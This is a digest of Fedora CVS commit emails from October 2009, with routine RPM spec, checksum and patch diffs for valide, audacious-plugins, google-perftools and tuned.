RCS file: /cvs/pkgs/rpms/valide/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Jul 2009 23:03:31 -0000	1.5
+++ sources	19 Oct 2009 15:05:46 -0000	1.6
@@ -1 +1 @@
-329917c1606c6f655288006a707a19f7  valide-20090726svn303.tar.gz
+3ac92a8c5deba5ef9b6f3b917ff7002c  valide-20091019svn425.tar.gz


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-12/valide.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- valide.spec	30 Jul 2009 21:29:48 -0000	1.7
+++ valide.spec	19 Oct 2009 15:05:46 -0000	1.8
@@ -1,16 +1,16 @@
-%global alphatag		20090726
-%global	svn_revision		svn303
+%global alphatag		20091019
+%global	svn_revision		svn425
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-# svn export -r 303 http://valide.googlecode.com/svn/trunk/ valide-20090726svn303
-# tar -czvf valide-20090726svn303.tar.gz valide-20090726svn303
+# svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
+# tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.16.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -22,7 +22,7 @@ BuildRoot:		%{_tmppath}/%{name}-%{versio
 BuildRequires:		gtk2-devel >= %{gtk2_version}
 BuildRequires:		vala-devel >= %{vala_version}
 BuildRequires:		sqlite-devel, unique-devel, desktop-file-utils, gtksourceview2-devel, intltool
-BuildRequires:		waf
+BuildRequires:		waf, libyaml-devel
 
 Requires:		vala-devel >= %{vala_version}
 Requires:		hicolor-icon-theme
@@ -31,19 +31,29 @@ Requires:		hicolor-icon-theme
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+
 %package devel
 Summary:		Support for developing plugins for the Val(a)IDE
 Group:			Development/Libraries
 Requires:		%{name} =  %{version}-%{release}
 Requires:		gtk2-devel >= %{gtk2_version}
 Requires:		sqlite-devel, unique-devel, gtksourceview2-devel
-Requires:		libxml2-devel
+Requires:		libxml2-devel, libyaml-devel
 %description devel
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 This package allows you to develop plugins that add new
 functionality to Val(a)IDE.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+Ce paquet vous permet de d?velopp? des plugins pour
+ajouter de nouvelle fonctionalit? ? Val(a)IDE.
+
 %prep
 %setup -q -n %{name}-%{alphatag}%{svn_revision}
 
@@ -53,7 +63,7 @@ waf -v %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-waf  -v install --destdir=%{buildroot} --debug
+./waf  -v install --destdir=%{buildroot} --debug
 desktop-file-install --vendor=""				\
 	--mode 0644						\
 	--dir=%{buildroot}%{_datadir}/applications/		\
@@ -110,6 +120,14 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Update valide to revision 425
+- Some bug fix
+
+* Tue Sep 01 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.17.20090825svn385
+- Update valide to revision 385
+- Some bug fix
+
 * Fri Jul 30 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.16.20090726svn303
 - Fix the empty debuginfo with a newest option in build section --debug
 



From mschwendt at fedoraproject.org  Mon Oct 19 15:06:17 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 19 Oct 2009 15:06:17 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12
	audacious-plugins-1.5.1-pulseaudio-volume.patch, NONE,
	1.1 audacious-plugins.spec, 1.51, 1.52
Message-ID: <20091019150617.5A4FC11C00DC@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26086

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-pulseaudio-volume.patch 
Log Message:
* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-5
- Patch pulseaudio plugin to not get confused by volume values passed
  in via callback.


audacious-plugins-1.5.1-pulseaudio-volume.patch:
 pulse_audio.c |   14 ++++++++++++++
 1 file changed, 14 insertions(+)

--- NEW FILE audacious-plugins-1.5.1-pulseaudio-volume.patch ---
There is no callback feature in Audacious < 2.2 that moves the UI's volume
slider when external volume controls are used. Hence stick to the internal
volume level and don't get confused when trying to save/restore external
volume levels.

diff -Nur audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c
--- audacious-plugins-1.5.1-orig/src/pulse_audio/pulse_audio.c	2008-05-24 00:44:20.000000000 +0200
+++ audacious-plugins-1.5.1/src/pulse_audio/pulse_audio.c	2009-10-19 16:46:47.527799161 +0200
@@ -83,6 +83,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -685,6 +687,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- audacious-plugins.spec	21 Sep 2009 10:30:06 -0000	1.51
+++ audacious-plugins.spec	19 Oct 2009 15:06:17 -0000	1.52
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -26,6 +26,7 @@ Patch1: audacious-plugins-1.5.1-timidity
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
 Patch3: audacious-plugins-2.1-alsa-ng.patch
 Patch4: audacious-plugins-2.1-underruns.patch
+Patch5: audacious-plugins-1.5.1-pulseaudio-volume.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -150,6 +151,7 @@ vortex compressed files.
 %patch2 -p1 -b .xmms-skindir
 %patch3 -p1 -b .alsa-ng
 %patch4 -p1 -b .underruns
+%patch5 -p1 -b .pulseaudio-volume
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -233,6 +235,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-5
+- Patch pulseaudio plugin to not get confused by volume values passed
+  in via callback.
+
 * Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-4
 - Patch alsa-ng plugin with some buffer prefilling to fight underruns.
 - Merge minor changes from 2.2-alpha1 alsa-ng plugin.



From spot at fedoraproject.org  Mon Oct 19 15:07:51 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Mon, 19 Oct 2009 15:07:51 +0000 (UTC)
Subject: rpms/google-perftools/EL-5 google-perftools.spec, 1.6, 1.7 sources, 
	1.3, 1.4
Message-ID: <20091019150751.1446011C00DC@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/google-perftools/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26763

Modified Files:
	google-perftools.spec sources 
Log Message:
update to 1.4


Index: google-perftools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/google-perftools/EL-5/google-perftools.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- google-perftools.spec	1 Aug 2007 20:42:51 -0000	1.6
+++ google-perftools.spec	19 Oct 2009 15:07:50 -0000	1.7
@@ -1,17 +1,16 @@
 Name:		google-perftools
-Version:	0.92
-Release:	1%{?dist}.2
+Version:	1.4
+Release:	1%{?dist}.1
 License:	BSD
 Group:		Development/Tools
 Summary:	Very fast malloc and performance analysis tools
 URL:		http://code.google.com/p/google-perftools/
 Source0:	http://google-perftools.googlecode.com/files/google-perftools-%{version}.tar.gz
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-# No support for PPC yet. Bugzilla 238390
-ExcludeArch:	ppc ppc64
-# No libunwind-devel
-ExcludeArch:    x86_64
-Patch0:		google-perftools-0.92-norpath.patch
+# Still broken, bz 238390
+ExcludeArch:	ppc64
+# x86_64 needs libunwind, which is not in EPEL
+ExcludeArch:	x86_64
 
 %description
 Perf Tools is a collection of performance analysis tools, including a 
@@ -29,7 +28,6 @@ Libraries and headers for developing app
 
 %prep
 %setup -q
-%patch0 -p1 -b .norpath
 
 %build
 %configure --disable-static
@@ -51,9 +49,10 @@ rm -rf $RPM_BUILD_ROOT%{_docdir}/%{name}
 rm -rf $RPM_BUILD_ROOT
 
 %check
-# The libraries aren't installed on the system yet. :P
-# The tests work fine for me locally, but some of them fail inside mock.
-# LD_LIBRARY_PATH=./.libs make check
+# http://code.google.com/p/google-perftools/issues/detail?id=153
+%ifnarch ppc
+LD_LIBRARY_PATH=./.libs make check
+%endif
 
 %post -p /sbin/ldconfig
 
@@ -72,6 +71,61 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Mon Oct 19 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.4-1.1
+- EPEL version - build without libunwind
+- ExcludeArch: x86_64 because there is no libunwind
+
+* Sat Sep 12 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.4-1
+- update to 1.4
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jul  2 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.3-2
+- disable tests for ppc, upstream ticket #153
+
+* Thu Jul  2 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.3-1
+- update to 1.3
+
+* Wed May 20 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.2-1
+- update to 1.2
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.99.1-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Sep 22 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 0.99.1-1
+- update to 0.99.1
+- previous patches in 0.98-1 were taken upstream
+
+* Mon Aug 25 2008 Tom "spot" Callaway <tcallawa at redhat.com> - 0.98-1
+- update to 0.98
+- fix linuxthreads.c compile (upstream issue 74)
+- fix ppc compile (upstream issue 75)
+- enable ppc
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 0.95-4
+- Autorebuild for GCC 4.3
+
+* Tue Feb 19 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.95-3
+- re-disable ppc/ppc64
+
+* Tue Feb 19 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.95-2
+- ppc/ppc64 doesn't have libunwind
+
+* Tue Feb 19 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.95-1
+- 0.95 (all patches taken upstream)
+- enable ppc support
+- workaround broken ptrace header (no typedef for u32)
+
+* Fri Jan  4 2008 Tom "spot" Callaway <tcallawa at redhat.com> 0.94.1-1
+- bump to 0.94.1
+- fix for gcc4.3
+- fix unittest link issue
+
+* Thu Aug 23 2007 Tom "spot" Callaway <tcallawa at redhat.com> 0.93-1
+- upstream merged my patch!
+- rebuild for BuildID
+
 * Wed Aug  1 2007 Tom "spot" Callaway <tcallawa at redhat.com> 0.92-1
 - bump to 0.92
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/google-perftools/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	1 Aug 2007 20:09:32 -0000	1.3
+++ sources	19 Oct 2009 15:07:50 -0000	1.4
@@ -1 +1 @@
-ce7731b9112adb060540ec4d207d5ccb  google-perftools-0.92.tar.gz
+e9383c158dcb3f4a789564498ec3f046  google-perftools-1.4.tar.gz



From bioinfornatics at fedoraproject.org  Mon Oct 19 15:08:09 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 15:08:09 +0000 (UTC)
Subject: rpms/valide/F-11 import.log,1.3,1.4 valide.spec,1.6,1.7
Message-ID: <20091019150809.209F311C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26697/F-11

Modified Files:
	import.log valide.spec 
Log Message:

Update valaide to the newest release



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	20 Jul 2009 17:50:34 -0000	1.3
+++ import.log	19 Oct 2009 15:08:08 -0000	1.4
@@ -1,3 +1,4 @@
 valide-0_5_1-0_12_20090715svn280_fc11:F-11:valide-0.5.1-0.12.20090715svn280.fc11.src.rpm:1247680422
 valide-0_5_1-0_13_20090715svn280_fc11:F-11:valide-0.5.1-0.13.20090715svn280.fc11.src.rpm:1247685453
 valide-0_5_1-0_14_20090720svn291_fc11:F-11:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248112158
+valide-0_5_1-0_18_20091019svn425_fc11:F-11:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964828


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-11/valide.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- valide.spec	30 Jul 2009 21:31:46 -0000	1.6
+++ valide.spec	19 Oct 2009 15:08:09 -0000	1.7
@@ -1,16 +1,16 @@
-%global alphatag		20090726
-%global	svn_revision		svn303
+%global alphatag		20091019
+%global	svn_revision		svn425
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-# svn export -r 303 http://valide.googlecode.com/svn/trunk/ valide-20090726svn303
-# tar -czvf valide-20090726svn303.tar.gz valide-20090726svn303
+# svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
+# tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.16.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -22,7 +22,7 @@ BuildRoot:		%{_tmppath}/%{name}-%{versio
 BuildRequires:		gtk2-devel >= %{gtk2_version}
 BuildRequires:		vala-devel >= %{vala_version}
 BuildRequires:		sqlite-devel, unique-devel, desktop-file-utils, gtksourceview2-devel, intltool
-BuildRequires:		waf
+BuildRequires:		waf, libyaml-devel
 
 Requires:		vala-devel >= %{vala_version}
 Requires:		hicolor-icon-theme
@@ -31,19 +31,29 @@ Requires:		hicolor-icon-theme
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+
 %package devel
 Summary:		Support for developing plugins for the Val(a)IDE
 Group:			Development/Libraries
 Requires:		%{name} =  %{version}-%{release}
 Requires:		gtk2-devel >= %{gtk2_version}
 Requires:		sqlite-devel, unique-devel, gtksourceview2-devel
-Requires:		libxml2-devel
+Requires:		libxml2-devel, libyaml-devel
 %description devel
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 This package allows you to develop plugins that add new
 functionality to Val(a)IDE.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+Ce paquet vous permet de d?velopp? des plugins pour
+ajouter de nouvelle fonctionalit? ? Val(a)IDE.
+
 %prep
 %setup -q -n %{name}-%{alphatag}%{svn_revision}
 
@@ -53,7 +63,7 @@ waf -v %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-waf  -v install --destdir=%{buildroot} --debug
+./waf  -v install --destdir=%{buildroot} --debug
 desktop-file-install --vendor=""				\
 	--mode 0644						\
 	--dir=%{buildroot}%{_datadir}/applications/		\
@@ -110,6 +120,14 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Update valide to revision 425
+- Some bug fix
+
+* Tue Sep 01 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.17.20090825svn385
+- Update valide to revision 385
+- Some bug fix
+
 * Fri Jul 30 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.16.20090726svn303
 - Fix the empty debuginfo with a newest option in build section --debug
 



From mmaslano at fedoraproject.org  Mon Oct 19 15:08:58 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 15:08:58 +0000 (UTC)
Subject: rpms/tuned/devel .cvsignore, 1.8, 1.9 sources, 1.9, 1.10 tuned.spec,
	1.9, 1.10
Message-ID: <20091019150858.5F2B711C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/tuned/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27171

Modified Files:
	.cvsignore sources tuned.spec 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.3
- new release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	21 Sep 2009 13:44:37 -0000	1.8
+++ .cvsignore	19 Oct 2009 15:08:58 -0000	1.9
@@ -1 +1 @@
-tuned-0.2.4.tar.bz2
+tuned-0.2.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	23 Sep 2009 10:53:48 -0000	1.9
+++ sources	19 Oct 2009 15:08:58 -0000	1.10
@@ -1 +1 @@
-93221808d466ab62133a2f010ce0f292  tuned-0.2.4.tar.bz2
+aa157f2c959a477eafdda8bc1cef588a  tuned-0.2.5.tar.bz2


Index: tuned.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/devel/tuned.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- tuned.spec	23 Sep 2009 10:53:48 -0000	1.9
+++ tuned.spec	19 Oct 2009 15:08:58 -0000	1.10
@@ -1,7 +1,7 @@
 Summary: A dynamic adaptive system tuning daemon
 Name: tuned
-Version: 0.2.4
-Release: 2%{?dist}
+Version: 0.2.5
+Release: 0.3%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 # The source for this package was pulled from upstream git.  Use the
@@ -13,12 +13,12 @@ Group: System Environment/Daemons
 Source: tuned-%{version}.tar.bz2
 URL: https://fedorahosted.org/tuned/
 Buildroot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+Requires: usermode
 Requires(post): chkconfig
 Requires(preun): chkconfig
 Requires(preun): initscripts
 Requires(postun): initscripts
 BuildArch: noarch
-Requires: kobo
 
 %description
 The tuned package contains a daemon that tunes system settings dynamically.
@@ -74,8 +74,12 @@ fi
 %doc AUTHORS ChangeLog COPYING INSTALL NEWS README doc/DESIGN.txt doc/TIPS.txt ktune/README.ktune
 %{_initddir}/tuned
 %config(noreplace) %{_sysconfdir}/tuned.conf
+%config(noreplace) %{_sysconfdir}/pam.d/tuned-adm
+%config(noreplace) %{_sysconfdir}/security/console.apps/tuned-adm
 %{_sbindir}/tuned
 %{_sbindir}/tuned-adm
+# consolehelper hard link
+%{_bindir}/tuned-adm
 %{_sysconfdir}/tune-profiles
 %{_datadir}/tuned
 %{_mandir}/man1/*
@@ -97,6 +101,16 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.3
+- new release
+
+* Thu Oct 15 2009 Petr Lautrbach <plautrba at redhat.com> 0.2.5-0.2
+- Allow run tuned-adm as root for users at the physical console
+
+* Mon Oct 12 2009 Petr Lautrbach <plautrba at redhat.com> 0.2.5-0.1
+- Removed dependence on kobo
+- Bumped to 0.2.5 pre release version
+
 * Wed Sep 23 2009 Petr Lautrbach <plautrba at redhat.com> 0.2.4-2
 - fixed url to fedorahosted project page
 - Resolves: #519019



From bioinfornatics at fedoraproject.org  Mon Oct 19 15:09:59 2009
From: bioinfornatics at fedoraproject.org (MERCIER Jonathan)
Date: Mon, 19 Oct 2009 15:09:59 +0000 (UTC)
Subject: rpms/valide/F-10 .cvsignore, 1.4, 1.5 import.log, 1.3, 1.4 sources, 
	1.4, 1.5 valide.spec, 1.3, 1.4
Message-ID: <20091019150959.384E811C00DC@cvs1.fedora.phx.redhat.com>

Author: bioinfornatics

Update of /cvs/pkgs/rpms/valide/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27382/F-10

Modified Files:
	.cvsignore import.log sources valide.spec 
Log Message:

Update valaide to the newest release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	20 Jul 2009 17:47:55 -0000	1.4
+++ .cvsignore	19 Oct 2009 15:09:58 -0000	1.5
@@ -1 +1 @@
-valide-20090720svn291.tar.gz
+valide-20091019svn425.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	20 Jul 2009 17:47:55 -0000	1.3
+++ import.log	19 Oct 2009 15:09:58 -0000	1.4
@@ -1,3 +1,4 @@
 valide-0_5_1-0_11_20090713svn278_fc11:F-10:valide-0.5.1-0.11.20090713svn278.fc11.src.rpm:1247664182
 valide-0_5_1-0_12_20090715svn280_fc11:F-10:valide-0.5.1-0.12.20090715svn280.fc11.src.rpm:1247680569
 valide-0_5_1-0_14_20090720svn291_fc11:F-10:valide-0.5.1-0.14.20090720svn291.fc11.src.rpm:1248112050
+valide-0_5_1-0_18_20091019svn425_fc11:F-10:valide-0.5.1-0.18.20091019svn425.fc11.src.rpm:1255964916


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Jul 2009 17:47:55 -0000	1.4
+++ sources	19 Oct 2009 15:09:58 -0000	1.5
@@ -1 +1 @@
-ed9402d7d6bec482c3aab41085e1fcd1  valide-20090720svn291.tar.gz
+3ac92a8c5deba5ef9b6f3b917ff7002c  valide-20091019svn425.tar.gz


Index: valide.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valide/F-10/valide.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- valide.spec	20 Jul 2009 17:47:55 -0000	1.3
+++ valide.spec	19 Oct 2009 15:09:58 -0000	1.4
@@ -1,16 +1,16 @@
-%global alphatag		20090720
-%global	svn_revision		svn291
+%global alphatag		20091019
+%global	svn_revision		svn425
 %global	gtk2_version		2.11.0
 %global	vala_version		0.7.3
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-# svn export -r 291 http://valide.googlecode.com/svn/trunk/ valide-20090720svn291
-# tar -czvf valide-20090720svn291.tar.gz valide-20090720svn291
+# svn export -r 425 http://valide.googlecode.com/svn/trunk/ valide-20091019svn425
+# tar -czvf valide-20091019svn425.tar.gz valide-20091019svn425
 
 Name:			valide
 Version:		0.5.1
-Release:		0.14.%{alphatag}%{svn_revision}%{?dist}
+Release:		0.18.%{alphatag}%{svn_revision}%{?dist}
 Summary:		An integrated development environment (IDE) for the Vala programming language
 
 Group:			Development/Tools
@@ -22,6 +22,7 @@ BuildRoot:		%{_tmppath}/%{name}-%{versio
 BuildRequires:		gtk2-devel >= %{gtk2_version}
 BuildRequires:		vala-devel >= %{vala_version}
 BuildRequires:		sqlite-devel, unique-devel, desktop-file-utils, gtksourceview2-devel, intltool
+BuildRequires:		waf, libyaml-devel
 
 Requires:		vala-devel >= %{vala_version}
 Requires:		hicolor-icon-theme
@@ -30,26 +31,39 @@ Requires:		hicolor-icon-theme
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+
 %package devel
 Summary:		Support for developing plugins for the Val(a)IDE
 Group:			Development/Libraries
 Requires:		%{name} =  %{version}-%{release}
+Requires:		gtk2-devel >= %{gtk2_version}
+Requires:		sqlite-devel, unique-devel, gtksourceview2-devel
+Requires:		libxml2-devel, libyaml-devel
 %description devel
 Val(a)IDE is an Integrated Development Environment for
 the Vala programming language.
 This package allows you to develop plugins that add new
 functionality to Val(a)IDE.
 
+%description -l fr
+Val(a)IDE est un Environnement de D?veloppement Int?gr?
+pour le langage de programmation Vala.
+Ce paquet vous permet de d?velopp? des plugins pour
+ajouter de nouvelle fonctionalit? ? Val(a)IDE.
+
 %prep
 %setup -q -n %{name}-%{alphatag}%{svn_revision}
 
 %build
-CFLAGS="%{optflags}" LINKFLAGS="%{optflags}" ./waf -v configure --prefix=%{_prefix} --with-libdir=%{_libdir}
-./waf -v %{?_smp_mflags}
+CFLAGS="%{optflags}" LINKFLAGS="%{optflags}" waf -v configure --prefix=%{_prefix} --with-libdir=%{_libdir} --debug
+waf -v %{?_smp_mflags}
 
 %install
 rm -rf %{buildroot}
-./waf  -v install --destdir=%{buildroot}
+./waf  -v install --destdir=%{buildroot} --debug
 desktop-file-install --vendor=""				\
 	--mode 0644						\
 	--dir=%{buildroot}%{_datadir}/applications/		\
@@ -106,6 +120,21 @@ fi
 %{_libdir}/libvalide-*.so
 
 %changelog
+* Mon Oct 19 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.19.20091019svn425
+- Update valide to revision 425
+- Some bug fix
+
+* Tue Sep 01 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.17.20090825svn385
+- Update valide to revision 385
+- Some bug fix
+
+* Fri Jul 30 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.16.20090726svn303
+- Fix the empty debuginfo with a newest option in build section --debug
+
+* Tue Jul 28 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.15.20090726svn303
+- Update valide to revision 303
+- Add require for devel package
+
 * Mon Jul 20 2009 Jonathan MERCIER <bioinfornatics at gmail.com> 0.5.1-0.14.20090720svn291
 - Update valide to revision 291
 



From mmaslano at fedoraproject.org  Mon Oct 19 15:12:20 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 15:12:20 +0000 (UTC)
Subject: rpms/tuned/F-12 .cvsignore, 1.8, 1.9 sources, 1.9, 1.10 tuned.spec, 
	1.9, 1.10
Message-ID: <20091019151220.B015211C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/tuned/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28049

Modified Files:
	.cvsignore sources tuned.spec 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> 0.2.5-0.3
- new release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	21 Sep 2009 13:44:37 -0000	1.8
+++ .cvsignore	19 Oct 2009 15:12:19 -0000	1.9
@@ -1 +1 @@
-tuned-0.2.4.tar.bz2
+tuned-0.2.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tuned/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	23 Sep 2009 10:53:48 -0000	1.9
+++ sources	19 Oct 2009 15:12:19 -0000	1.10
@@ -1 +1 @@
-93221808d466ab62133a2f010ce0f292  tuned-0.2.4.tar.bz2
